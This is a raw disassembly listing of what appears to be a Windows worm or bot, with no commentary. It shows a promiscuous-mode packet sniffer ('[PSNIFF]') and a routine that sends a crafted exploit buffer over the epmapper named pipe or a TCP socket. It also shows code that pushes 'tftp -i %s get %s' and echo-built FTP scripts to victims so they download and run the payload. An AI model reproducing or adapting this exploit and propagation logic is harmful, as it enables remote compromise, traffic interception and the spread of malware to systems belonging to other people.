		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	ds:dword_4450CC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	ds:dword_43F694	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	ds:dword_43F614	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread

loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78

loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43F680	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx

loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	ds:dword_43F5A4	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, ds:dword_426C8C[eax*8]
		push	ds:off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_30]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, ds:byte_43C80C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	ds:dword_424070	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43C808
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	ds:dword_43F708
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7

loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	ds:dword_43F708

loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------

loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax

loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, ds:byte_43C80C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	ds:dword_424070	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h

loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	ds:dword_43F5A8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		call	ds:dword_424064	; Sleep
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------

loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F678
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCB
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------

loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------

loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3

loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86

loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C

loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: _2:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:off_424084
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C

loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		call	ds:dword_424080	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_42407C	; WriteFile
		test	eax, eax
		jnz	short loc_402F02

loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx

loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		call	ds:off_424078
		jmp	loc_402E4D
; ---------------------------------------------------------------------------

loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	ds:off_424074
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:off_424078
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	ds:dword_43F6E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	ds:dword_43F668	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------

loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF

loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43F680	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43F680	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059

loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi

loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	ds:dword_43F700	; closesocket

loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------

loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	ds:dword_43F700	; closesocket

loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		call	ds:dword_424064	; Sleep
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------

loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax

loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: _2:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_41544E
		pop	ecx
		mov	ds:dword_43C810, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr ds:dword_43C810
		push	eax
		call	ds:dword_43F668	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43F6E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		mov	esi, offset byte_42F678
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	ds:dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		call	ds:dword_424064	; Sleep
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226

loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------

loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43F680	; recv
		push	ebx
		call	ds:dword_43F700	; closesocket
		mov	al, 1

loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: _0:004037ADp _0:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, ds:dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
